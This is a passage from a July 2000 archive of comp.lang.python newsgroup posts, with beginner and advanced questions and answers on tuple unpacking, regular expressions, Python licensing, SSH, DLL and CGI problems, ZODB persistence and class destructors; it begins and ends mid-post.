>>>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
>>>> for title, url in list:
>...     print title, url
>...
>Traceback (innermost last):
>  File "<stdin>", line 1, in ?
>ValueError: unpack sequence of wrong size
>
>Of course, if I change the code as follows, at least it prints everything in
>the list:
>
>>>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
>>>> for title in list:
>...     print title
>...
>title1
>url1
>title2
>url2
>title3
>url3
>
>What am I missing the first example?  Any assistance would be greatly
>appreciated.

Simple:

>>> for title, url in list:

is really:

>>> for (title, url) in list:

That is to say, the for loops over INDIVIDUAL ELEMENTS which are
tuples stored in the list named "list".  That said, the first ELEMENT
you get in the first case is "title1".  Obviously, that isn't a tuple,
so you get a sequence error.

The true fix for your problem is going to be changing the thing that
creates the list to use the format:

>>> list = [('title2', 'url2'), ('title2', 'url2'), ('title2', 'url2')]

This will work with your first loop above.

-- 
Alexander Williams (thantos at gw.total-web.net)           | In the End,
  "I think sex is better than logic,                    | Oblivion
   but I can't prove it."                               | Always
  http://www.chancel.org                                | Wins


From invalid.address at 127.0.0.1  Wed Jul  5 13:44:57 2000
From: invalid.address at 127.0.0.1 (David)
Date: Wed, 05 Jul 2000 17:44:57 GMT
Subject: GUI framework with TreeView
References: <3967f81e.23966859@nntp.interaccess.com>
Message-ID: <3965740e.11766815@news.telus.net>

On Wed, 05 Jul 2000 08:56:09 GMT, olczyk at interaccess.com (Thaddeus L
Olczyk) wrote:

>I need a "free" gui framework that runs on both Windows and UNIX
>( so that lets out QT ) and gives me a component similr to Microsofts
>TreeView. Does anyone know of such a thing?

wxPython/wxWindows.


From neilh at scintilla.org  Tue Jul 25 08:47:42 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 25 Jul 2000 12:47:42 GMT
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net> <IKff5.11748$4p3.89549@news-server.bigpond.net.au> <8lk1ee$71q$1@slb6.atl.mindspring.net>
Message-ID: <O%ff5.11777$4p3.90266@news-server.bigpond.net.au>

Aahz Maruch wrote:
> Neil Hodgson <neilh at scintilla.org> wrote:
> >
> >   Your version numbering is a little out of date - 1.6 will be released
in
>> ...
>
> Your version numbers are also a little bit out of date.  1.6 has been
> renamed to 2.0 with the departure of the core Python team from CNRI to
> BeOpen.

   Nope - its a real soap opera now with 1.6 produced by Guido for CNRI and
then 2.0 from BeOpen. And the license to be included with 1.6 sucks because
its much longer and more complex although it probably won't make that much
difference in practical terms.

   Neil





From Wolfgang.Strobl at gmd.de  Tue Jul 18 08:57:30 2000
From: Wolfgang.Strobl at gmd.de (Wolfgang Strobl)
Date: Tue, 18 Jul 2000 14:57:30 +0200
Subject: grouping in regular expressions.
References: <8l1iue$j3e$1@nnrp1.deja.com>
Message-ID: <ttk8ns82tq0ork2t8j1nr0bu2lb5op3f9j@4ax.com>

kaevee at my-deja.com wrote:

>I am finding it difficult to match the ip address in the
>following line using re module.
>
>"       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0"
>
>here is the expression I used.
>
>re.compile('\s+inet addr:(\d+\.\d+\.\d+\.\d+)\s+.*')
>
>I am not able to make out where i am making a mistake.

Whats wrong with

|  >>> import re
|  >>> s="       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0"
|  >>> p=re.compile('\s+inet addr:(\d+\.\d+\.\d+\.\d+)\s+.*')
|  >>> p.match(s).groups()
|  ('192.168.0.1',)
|  >>> 

?


-- 
      o      (    Wolfgang.Strobl at gmd.de          (+49 2241) 14-2394
     /\        *  GMD Forschungszentrum Informationstechnik GmbH
   _`\ `_<===     Schloss Birlinghoven,           | #include
__(_)/_(_)___.-._ D-53754 Sankt Augustin, Germany | <std.disclaimer>


From tim_one at email.msn.com  Sun Jul 30 20:25:53 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 30 Jul 2000 20:25:53 -0400
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
In-Reply-To: <39845F93.43AD@seebelow.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one@email.msn.com>

[Tim]
> ...
> We also want Python to remain GPL-*compatible*, and CNRI has changed
> some of the language in response to Richard Stallman's objections.

[Grant Griffin]
> The following pointed question is directed at CNRI, not
> you, Tim, but...
>
>    _Who died and left *Stallman* in charge_?

I don't think CNRI reads comp.lang.python, so I guess I'll have to take a
crack at it myself:  we did <wink -- although we're not quite dead yet!>.
AFAIK, asking RMS to get involved was our idea, not CNRI's.  So don't blame
them for this one!  Many dozens of Python projects rely on GPL compatibility
today, and we don't want to see them get screwed.  While I'm not directly
involved in the negotiations, I've seen much of the email traffic about it,
and RMS has been extremely helpful in explaining his concerns and even
suggesting specific changes to CNRI's language that he would accept.  If GPL
compatibility is something you want to assure, can you think of anyone
better to ask than RMS?  I sure can't.  Whether you like him or not, he's
the most competent enitity in the universe to address GPL issues.  And he's
been a good friend to Python despite that it wasn't released under a GNU
license.

> ...
> p.p.s.  BTW, as an old-timer, "OSI" means "Ohio Scientific
> Incorporated" to me -- they made my beloved first computer,
> the Superboard II.

Ya, and if they had developed that under the GPL, we'd all be using the GNU
OSI Superboard MM today <wink>.

some-days-thinking-there's-more-death-than-birth-in-this-field-ly
    y'rs  - tim





From erno at iki.fi  Wed Jul 12 13:39:04 2000
From: erno at iki.fi (Erno Kuusela)
Date: 12 Jul 2000 20:39:04 +0300
Subject: Python and SSH
References: <8kf4gl$fqm$1@saltmine.radix.net>
Message-ID: <ku66qbxn7r.fsf@lasipalatsi.fi>

>>>>> "Cary" == Cary O'Brien <cobrien at Radix.Net> writes:

    Cary> I'd like to have a running python process ACCEPT an incoming
    Cary> SSH connection.  Any ideas on how I could do this?

have a look at the connection forwarding features of ssh (see the -R
and -L options).

alternatively you could set up a command= parameter for the rsa keys
of your clients in .ssh/authorized_keys and run your python program
from there. (docs for this are in the sshd manual page, under
"AUTHORIZED_KEYS FILE FORMAT".)

  -- erno




From db3l at fitlinxx.com  Mon Jul 31 18:17:37 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 31 Jul 2000 18:17:37 -0400
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
References: <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one@email.msn.com> <8m4eu7$1tj1@drn.newsguy.com>
Message-ID: <ur98andvi.fsf@ctwd0143.fitlinxx.com>

Grant Griffin <g2 at seebelow.org> writes:

> Sorry if I already missed it, but what in the heck is "GPL
> compatibility"?  We in the Peanut Gallery aren't privy to the
> details of the license being considered, but AFAICT, Python's old
> (beloved) license was not what one might call "GPL compatible" in
> that it had virtually no restrictions.

Python's old license was GPL compatible because it placed no
restrictions on the use of Python that would violate GPL.

That is, the old license did not prevent Python from being used in a
GPL project, nor did it make any requirements on such use that were
above and beyond what the GPL required/permitted - it could therefore
be termed "compatible" with a project that was to be licensed under
GPL terms, and thus with the GPL itself.

There was a separate thread on this board within the past few days
(look for "The State of Python") covering this as well.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From garabik at center.fmph.uniba.sk.spam  Thu Jul 20 11:24:06 2000
From: garabik at center.fmph.uniba.sk.spam (Radovan Garabik)
Date: 20 Jul 2000 15:24:06 GMT
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007200934550.23388-100000@sundial>
Message-ID: <8l75im$sc$1@sunnews.cern.ch>

Moshe Zadka <moshez at math.huji.ac.il> wrote:
...

 : Preventing world war III, when Python achieves world domination.
 : If C is allowed to achieve world domination, WWIII will be cause by

 : if(everything_is_ok = 0) {
 : 	launch_missile();
 : }

 : Whereas since Python wwill achieve world domination, 

 : if everything_is_ok = 0:
 : 	launch_missile()

 : Is a syntax error, and wil be detected before it is allowed into the
 : automated defense system.

nah... WWIII will be started with this code:

def check_if_there_is_an_attack():
    ....
    if ....:
        return 0
    else:
	return 1

if check_if_there_is_an_attack:
    launch_counterattack()


-- 
 -----------------------------------------------------------
| Radovan Garabik http://melkor.dnp.fmph.uniba.sk/~garabik/ |
| __..--^^^--..__    garabik @ melkor.dnp.fmph.uniba.sk     |
 -----------------------------------------------------------
Antivirus alert: file .signature infected by signature virus.
Hi! I'm a signature virus! Copy me into your signature file to help me spread!


From fredp at mygale.org.nospam  Thu Jul 20 04:06:55 2000
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 20 Jul 2000 08:06:55 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37> <slrn8nbsj3.chd.cjc26@synecdoche.sowrong.org> <ADmd5.1701$6E.339824@ptah.visi.com>
Message-ID: <8F7765F6DPaCmAnRDLM@161.48.76.20>

ge at nowhere.none (Grant Edwards) said :

>There is a nice widget set called newt (with a Python binding
>called snack) that uses slang.  If slang is available under
>Win32, then it should be possible to use newt/snack.

Thanks (again). Unfortunately, s-lang looks like it's cross-platform, but 
newt does not, unless I'm mistaken. This stuff is certainly well-hidden and 
is hardly stumbled across of you don't already know of it :-)
Sadly, all this is much too cryptic for the sort of casual use I had in 
mind -- it would actually be faster for me to dig out the win32 extensions 
and do regular Windows, which I wanted to avoid in the first place :-)

-- 
YAFAP : http://www.multimania.com/fredp/


From cjc26 at nospam.cornell.edu  Fri Jul 21 18:14:55 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Fri, 21 Jul 2000 22:14:55 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net>
Message-ID: <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org>

* nobody <no at bo.dy> menulis:
| 
| now, this newbie has run into another perl idiom he'd like to figure out
| how to rewrite in python - "while (<FILE>) { print; }" - and, by extension,
| how to get python to print the string i hand it, the whole string i hand it,
| and nothing but the string i hand it?

Hmm..not quite sure what you mean..maybe you want to use
sys.stdout.write() instead?


| i despise machines trying to second-
| guess my intentions, and silly little print statements trying to be clever
| with their arguments are nothing more than that.

print doesn't really try to be clever with its arguments, except for
printing a space between each one and a newline at the end.  Maybe what
you're looking for is the format operator?

var=14
print "%s=%d" % ("var", var)


| even so, python is still worth trying to learn, IMO. its ways of dealing
| with regexps and substitution might not be as handy and convenient as
| perl's operators, but the re module seems to me to be more "programmable"
| somehow, easier to write code around.

Been a while since I've done perl, but I seem to remember it being
difficult to treat regexps as objects in themselves..for example, it's
hard to store a list of them, and then compare a string to each one in
the list later.


| i like it, i just wish its functions
| would be more consistent about what sort of regexps they want - either all
| compiled or all not compiled; i'm seeing some wanting one and some the
| other, for some reason. might be just my system, i suppose...

The two should be interchangable..AFAIK wherever you can use a
compiled regexp, you can use an uncompiled one, and vice-versa.


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From blablu at gmx.net  Thu Jul 13 05:37:26 2000
From: blablu at gmx.net (Mike 'Cat' Perkonigg)
Date: 13 Jul 2000 09:37:26 GMT
Subject: Importing a file that isn't in the pythonpath
References: <1mfb5.61$Ve3.952@m2newsread.uni2.es>
Message-ID: <8F70756E1mikecat@192.168.10.38>

frr at mindless.com (Fernando Rodr?guez) wrote in 
<1mfb5.61$Ve3.952 at m2newsread.uni2.es>:

>equivalent to #include "myfile.h" ).  Moving this file to some place in
>the PYTHONPATH would be inconvenient.  There must be some way to do this,
>no? O:-)

The easiest way is to put '.' in your PYTHONPATH.
But you can extend your path with any directory in your python code with:

>>>import sys
>>>sys.path.append (path-to-load-modules-from)

regards,
Mike


From rpm at wag.caltech.edu  Thu Jul 27 12:16:05 2000
From: rpm at wag.caltech.edu (Richard P. Muller)
Date: Thu, 27 Jul 2000 09:16:05 -0700
Subject: Python is Zen (was Python is wierd)
Message-ID: <39806045.F67EBD04@wag.caltech.edu>

Rather than reading a book, I would suggest you just dive in and start
programming. I thought some of Python's features (whitespace
sensitivity) were laughable when I first heard of them. 

Then I started programming in Python. There is an elusive simplicity to
the language that is hard to capture in any book. The reason for the
points you make below is that most of the time, be it in passing
arguments or declaring variables (BTW, I think that the various uses of
the 'static' command are one of the worst features of C/C++/Java, and
I'm glad to be rid of them all), Python automatically does this
correctly. This can be frustrating when it doesn't (I've had all kinds
of problems with copying), but the nice thing is that by the time you
encounter these special cases, you've already programmed enough and
you're comfortable enough with the language to hack around them.

One of these days I'm going to write an article called "Zen and the Art
of Python". In the meantime, I'll leave you with this quote, taken from
the PythonLabs website:

"Python is the most efficient language I've ever used. It's 10 times
better than any of the other tools I have used. It's free, it's
object-oriented, it adapts to everything, it runs on everything. There
is almost an indescribable 'quality without a name' attraction on my
part."
 --Bruce Eckel, Author of Thinking in Java

Jonathan wrote:
> 
> Hi, just finished going through the 'Learning Python' book, and the
> feeling that i get is that Python is really wierd(compared to other
> conventional languages like C++, Java, etc). For e.g.(correct me if i'm
> wrong)
> 
> 1. There are no keywords to declare static or instance variables; it
> all depends where they are placed(whether it's right after the <class>
> statement, or inside a <def>). Isn't it harder for other programmers to
> know at one glance what type of attributes the class define?
> 
> 2. No *formal* declaration of static class methods, e.g. no 'static'
> keyword (though i'm not sure how useful static methods are in OOP
> design). I read somewhere in this newsgroup that the workaround way is
> to define the method outside of the class - doesn't it break
> the 'encapsulation' a class suppose to have?
> 
> 3. No keywords to differentiate between passing arguments by reference
> or value! An integer is passed by value(reference to a new copy), while
> a mutable object is by reference. To pass a list by 'value', i know you
> just need to insert one more line(list = [:]), but it seems
> so 'inconsistent' compared to Java or even PHP.
> 
> (Not to mention the number of 'gotchas' listed in the book that are
> bound to trap beginners - *shudder*)
> 
> The reason i'm picking up python is that i got sick of PERL:), and
> don't really like the inflexible typing of Java. Furthermore, some ppl
> claim that Python is easier to learn, enables you to write much cleaner
> codes... However, after reading the python book, my head is still
> spinning, trying to catch all the 'intricacies' of this language. No
> doubt it will be a powerful and useful 'tool' to me once i get used to
> it; but i don't think it's suitable to be a first programming language
> for non-programmers(i read somewhere about this project going on).
> Pascal(for procedural) and Java(for OOP) is still the better choice to
> start off, IMHO.
> 
> regards,
> Jonathan
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.

-- 
Richard P. Muller, Ph.D. 
rpm at wag.caltech.edu 
http://www.wag.caltech.edu/home/rpm


From ystarrev at my-deja.com  Sun Jul 30 16:17:09 2000
From: ystarrev at my-deja.com (ystarrev at my-deja.com)
Date: Sun, 30 Jul 2000 20:17:09 GMT
Subject: Python on Darwin
Message-ID: <8m22g2$hd3$1@nnrp1.deja.com>

Hi,

I have successfully built Python on Darwin and have it loading shared
modules.

I would like to load modules which use ObjC, but am running into a
duplicate symbol problem:

__objcInit

Which is defined both in python and in the .so

There is a snippet in configure.in about this having come up in builds
of python on Next4 and Next5, using -u __dummy to get the linker to not
include __objcInit as Common.

Does anyone know how to make this trick work on Darwin?

Thanks.

Yves


Sent via Deja.com http://www.deja.com/
Before you buy.


From jim at interet.com  Mon Jul 31 09:07:47 2000
From: jim at interet.com (James C. Ahlstrom)
Date: Mon, 31 Jul 2000 09:07:47 -0400
Subject: Help! example DLL crashes Python on NT
References: <8m2fqq+kecb@eGroups.com>
Message-ID: <39857A23.E5A6C4CE@interet.com>

Ed Stauff wrote:
> 
> When I try to import the example DLL on Windows NT, I get an
> "Application Error" dialog for python.exe (with the usual unreadable
> hex junk), and then python quits after printing "Fatal Python error:
> PyThreadState_Get: no current thread".  I typed "import example"
> right after launching Python.

A couple things to try:

Make sure the DLL is linked against the same python15.lib
as is used for python.exe.  Mixed DLL versions can cause
problems.

Use VC "Depends" to see exactly which DLLs are needed
by your DLL and by python.exe.  Make sure they are there.

Make sure you linked the C runtime "Multithread DLL",
not some other C runtime.

Jim Ahlstrom


From olivierS.dagenaisP at canadaA.comM  Wed Jul  5 12:56:38 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 05 Jul 2000 16:56:38 GMT
Subject: Client-server architecture
References: <Xpx85.37285$W35.821323@news20.bellglobal.com>
Message-ID: <aNJ85.50248$HK2.813974@news20.bellglobal.com>

Yes, I'm answering my own post, but it's more of an FYI that might be nice
in the FAQ, if it isn't, already...  Anyway, I found this, after a long,
long search:

http://www.nightmare.com/medusa/index.html

It seems to do a lot of what I was asking.  The main page is rather sketchy,
but the documentation provided helps illustrate a bit more how it works, at
the high level.  (esp. data_flow.html)

I also found something else, called "WebDav", but I don't think it would
suit my purposes all that much.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Olivier Dagenais" wrote in message
news:Xpx85.37285$W35.821323 at news20.bellglobal.com...
> What modules [or references] are there that explain or implement
> simultaneous, __secure__ operations on a server?
>
> I looked through http://www.python.org/topics/web/  and it seems to only
> cover HTTP, not HTTPS (using SSL or some other, secure protocol).
>
> I want to implement seemingly concurrent, remote database access and if I
> can queue the requests to the server, the server could then process
> requests, one at a time, and then "call back" each client with the
results.
>
> I'm thinking I don't want to write the server side software using a CGI
> script, since the database package I'm looking into using (Gadfly) isn't
> designed for concurrent access, unless I don't understand how CGI works
and
> it is synchronous?  (I have only written very simple CGI scripts in Perl
and
> C, so I'm sort of new to this)
>
> Any help (including corrections in my thinking of CGI or hints on handling
> many, simultaneous requests) would be appreciated.  I'd like to write both
> the client and the server in Python.
>
> Thanks!
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
>




From nobody at nowhere.nohow  Sun Jul 30 12:18:16 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 30 Jul 2000 16:18:16 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com>
Message-ID: <czYg5.2851$6E.754249@ptah.visi.com>

On Sun, 30 Jul 2000 01:54:55 GMT, Courageous <jkraska1 at san.rr.com> wrote:
>
>> >    Actually I think it would be easier for non-programmers to
>> >learn a language if it has strict typing.
>> 
>> I concur. In non-programming, life is strictly typed. Allowed
>> operations are determined by the type of the object. You can't
>> make a phone call on a waffle-iron.
>
>This is a conceptualization issue, and I suspect to a degree,
>false. If "x" is merely a label, one can imagine x labeling
>3 or x labelling red quite easily. Your analogy works because
>you carefully framed it, but there's nothing at all to say that
>your framing of it was right.
>
>To the contrary; while I can't prove it, I do believe it's wrong.

Nobody expects a proof, but a just-as-carefully-framed
counter-analogy would be a good start...

-- 
Grant Edwards                   grante             Yow!  My LIBRARY CARD
                                  at               expired...
                               visi.com            


From nowonder at nowonder.de  Thu Jul 27 10:03:07 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Thu, 27 Jul 2000 14:03:07 +0000
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net> <IKff5.11748$4p3.89549@news-server.bigpond.net.au> <8lk1ee$71q$1@slb6.atl.mindspring.net> <O%ff5.11777$4p3.90266@news-server.bigpond.net.au> <8lk2kg$kbv$1@nntp9.atl.mindspring.net> <8lk4cp$i9c$1@nnrp1.deja.com> <8lp4t5$6bu$1@newshost.accu.uu.nl>
Message-ID: <3980411B.DE060EB@nowonder.de>

Martijn Faassen wrote:
> 
> effbot at pythonware.com wrote:
> >  
> >    http://python.sourceforge.net/peps/
> 
> It'd be useful for the community if there were some document out there
> that described what the heck is going on, and why. Once all of this becomes
> a bit more clear for the parties involved, that is.

Actually there is a document for the what-is-going-on part.
/F mentioned it: PEP-0160 and PEP-0200 at the above address.

As to the why part - I am not sure I understand all of it.
(Or for that matter, any of it.) A short, but probably
incomplete and possibly wrong attempt at explaining things:

The main reason seems to be the change of license that CNRI
(where Python was developed before the team changed to BeOpen)
wants for the last CNRI release - the soon-to-be Python 1.6.
Matters seem to be largely settled now (after the last Python
Consortium meeting), but the long delay has brought the
possibility to rework certain things, include new features
and fix more bugs. So the 1.6 release by CNRI will be
followed by a 2.0 release from BeOpen shortly after.

As the python.org website is still hosted at CNRI
the Python developers currently do not have access.

For more (and more accurate) information on these matters
have a look at the python-dev archives at
  http://www.python.org/pipermail/python-dev
and at the Pythonlabs website:
  http://pythonlabs.com

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From smigowsky at dspace.de  Mon Jul 17 07:51:14 2000
From: smigowsky at dspace.de (Stefan Migowsky)
Date: Mon, 17 Jul 2000 12:51:14 +0100
Subject: Memory leak problems with python and COM
Message-ID: <326536345498D311B3BC00105A39802A074797@newsintern.dspace.de>

Hi,

you didn't miss the 131 build. This build was purely to test
against the developer version von Python 1.6. So the release
numbers would be ... 128, 129, 132 

   Stefan

>-----Original Message-----
>From: Etienne Labuschagne [mailto:etiennel at geospace.co.za]
>Sent: Monday, July 17, 2000 9:17 AM
>To: python-list at python.org
>Subject: Re: Memory leak problems with python and COM
>
>
>Hi there
>
>To my embarrasment I found that I am still using Python build 
>129 and that I
>(somehow) missed the release of build 131!
>
>Anyway, build 131 solved the problem!
>
>Thanks for your help.
>
>Regards
>Etienne
>
>"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
>news:8klbu9$38u$1 at nnrp1.deja.com...
>> In article <963474833.835936 at proxy.lia.net>,
>>   "Etienne Labuschagne" <etiennel at geospace.co.za> wrote:
>> > Deleted a and b on the python side and then destroying the COM
>> server - that
>> > doesn't clear up the memory. I am using SafeArrayAccessData and
>> > SafeArrayUnlock on the server side to make sure that it 
>releases the
>> data on
>> > the server side.
>> >
>> > Is there something else that I must do?
>>
>> I suggest you get the latest CVS version (I realize this may be a
>> PITA :-(  Since build 132, a number of leaks have been 
>fixed.  There is
>> a very good chance that this particular leak was plugged previously.
>>
>> If not, I will definately look into this and plug it!
>>
>> Mark.
>>
>>
>> Sent via Deja.com http://www.deja.com/
>> Before you buy.
>
>
>-- 
>http://www.python.org/mailman/listinfo/python-list
>



From ame at swipnet.se  Fri Jul 28 17:09:09 2000
From: ame at swipnet.se (Anders Eriksson)
Date: Fri, 28 Jul 2000 23:09:09 +0200
Subject: newbie installing BoaConstructor
References: <39806D4A.7E493326@cicei.ulpgc.es>
Message-ID: <bdt3oscc01lvc74u8871622r75nfonfq5u@4ax.com>

On 27 Jul 2000 18:12:45 +0000, Enrique <ecastro at cicei.ulpgc.es> wrote:

Hello!

>I do not understand why Phyton is looking for
>D:\PYTHON\wxPython\utils.py instead for
>D:\PYTHON\BoaConstructor\Utils.py
>

wxPython is probably in your PYTHONPATH before the BoaConstructor.

in the shell window type
import sys
print sys.path

now you'll see how Python will search after the modules.

// Anders



From rumjuggler at cryptarchy.org  Sat Jul 22 17:42:57 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 22 Jul 2000 21:42:57 GMT
Subject: hidden input?
Message-ID: <ll5kns07hmdesddv6ai177e7j6ij76of18@4ax.com>

Is there a way to get input not echoed to the screen in Python, as in the
non-standard functions kbhit() and getch() in C and C++?

-- 
Barnabas T. Rumjuggler

When I see you smile, when you stretch your besored lips against your brown
teeth, riddled with holes, jutting from your necrotic gums at unnatural
angles, and unceasingly releasing an overpowering odor of rotting flesh,
when your cheeks, caked with dirt, crack out of their molded forms and pus
oozes from their protesting pores, unused to the motion of your pallid,
waxy flesh, when the dilated pupils of your milky eyes seem to quiver with
happiness, I realize that I love you as much as ever.


From max at alcyone.com  Mon Jul 31 14:51:37 2000
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 31 Jul 2000 11:51:37 -0700
Subject: Python equivalent of C++'s virtual destructors?
Message-ID: <3985CAB9.4928BDDE@alcyone.com>

I have a class which has to do cleanup when it goes out of scope (and so
has a __del__ method), but which is also going to be derived and its
subclasses may also need to do class-specific things on destruction as
well.  What is the accepted way of handling this situation?  The
solution which presents itself most easily is simply to explicitly call
the destructor of the base class in the derived class:

class Base:
    def __del__(self):
        print "in base destructor"


class Derived(Base):
    def __del__(self):
        print "in derived destructor"
        Base.__del__(self)


d = Derived()
d = None

However, I distinctly recall reading somewhere that explicitly calling a
__del__ method for a class is a big no-no.

What's the generally accepted way of accomplishing this in Python?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ Love is the most subtle form of self-interest.
\__/ Holbrook Jackson
    Fat Boy and Little Man / http://www.fatboyandlittleman.com/
 Watch Fat Boy and Little Man go about their antics.


From jkraska1 at san.rr.com  Fri Jul 21 02:07:05 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Fri, 21 Jul 2000 06:07:05 GMT
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature>
Message-ID: <3977E93C.AC59244B@san.rr.com>

> Python with its overloadable operators can be thought of
> as a meta-language for creating domain-specific languages.

Without true metalinguistic capability, Python will never
fulfill this role. How easily can you define your own
flow control, for example? (hint: you can't).



C/


From jim at digicool.com  Tue Jul 11 17:29:07 2000
From: jim at digicool.com (Jim Fulton)
Date: Tue, 11 Jul 2000 17:29:07 -0400
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <396B91A3.82C232E2@digicool.com>

"Tony J Ibbs (Tibs)" wrote:
> 
> OK - I spent some of my "spare" time last night reading
> 
> http://starship.python.net/crew/amk/python/writing/zodb-zeo.html
> 
> and also Jim Fulton's Introduction to the Zope Object Database (referenced
> therefrom, although I found it by other means first), and also with a quick
> look at the ZODB How-To.
> 
> Gosh. Damn time machines have been at it again. Ask for something and it
> will have been there.
> 
> The PJama (persistent Java) people regard a mainstream persistent language
> as a killer-app, allowing a major revolution in how people program.

I happen to agree with this point of view. :)
I really think ZODB/Python has a huge potential 
independent of Zope.

(snip)
> The persistent Java effort requires quite a lot of work in the innards of
> Java (i.e., C++ programming). This is presumably because Java doesn't expose
> its insides to introspection in the same way Python does (Zope does use
> vanilla Python, doesn't it?

Uh, yes, for some definition of vanilla. You don't need to patch
Python, but you do end up using ExtensionClass. 

> Can it work with JPython? (I assume not)).

It can't today, but I suspect it would be possible if someone worked 
hard enough at it.

I *really* hope that Python 3K allows the things that ExtensionClass
allows and makes ExtensionClass obsolete.

(snip)
> How easy is it to write a storage manager?

It depends on the level of service and your definition of easy. ;)
If you don't support undo and versions, it's fairly easy, although
you do need to support some transactional semantics.  A full storage
is straightforward, but not like falling off a log.

There are a number of example storage implementations in the 
Zope distribution.  I plan to release an Oracle-based storage
very soon.

> It sounds to me as if this would
> be a useful thing to layer on top of a COM or CORBA interface to (for
> instance) an existing GIS, taking advantage of whatever versioning, locking,
> etc., that that existing software provides.

I'm not so sure about that.
 
> Snags.
> Well, it's obviously a bit of a pain if __getattr__ and __setattr__ are
> unavailable for easy use -

This restriction has gone away.  You can not define your own 
__set/get/delattr__ methods pretty easily.

(snip)

Jim

--
Jim Fulton           mailto:jim at digicool.com   Python Powered!        
Technical Director   (888) 344-4332            http://www.python.org  
Digital Creations    http://www.digicool.com   http://www.zope.org    

Under US Code Title 47, Sec.227(b)(1)(C), Sec.227(a)(2)(B) This email
address may not be added to any commercial mail list with out my
permission.  Violation of my privacy with advertising or SPAM will
result in a suit for a MINIMUM of $500 damages/incident, $1500 for
repeats.


From pmontrasi at tiscalinet.it  Sun Jul  2 17:20:24 2000
From: pmontrasi at tiscalinet.it (Paolo Montrasi)
Date: Sun, 02 Jul 2000 23:20:24 +0200
Subject: CGI POST on Win98
Message-ID: <395FB218.5CCD76C8@tiscalinet.it>

I have installed PWS and Python 1.5.2 on my win98 machine, created a
simple form which runs the test() function on the cgi module, when i use
method GET in the form all works perfectly but when I try to use the
POST method the page never appears on my browser and I see python.exe in
my machine process list. The same thing works perfectly under NT. I have
searched the archive but I was not able to find help so I am thinking I
am wrong with something but I do not know where, can you help me?

ciao
Paolo


From vespe at cs.tut.fi  Thu Jul 27 06:39:58 2000
From: vespe at cs.tut.fi (Vespe Savikko)
Date: 27 Jul 2000 13:39:58 +0300
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <dojf5.45539$6y5.29151500@news2.rdc2.tx.home.com>
Message-ID: <vph8zun26wx.fsf@hiirihaukka.cs.tut.fi>

Also sprach "Rainer Deyke" <root at rainerdeyke.com>:

  Static variables and methods are a mess anyway.  In Python, there is
  no need for them - just place the variables and functions outside
  the class.  In Java, they are a (poor) substitite for placing things
  outside the class.  In C++, static class members are sometimes
  useful for access control and templates, both of which have no place
  in Python.
  
I think you are being too hard on static variables. The class
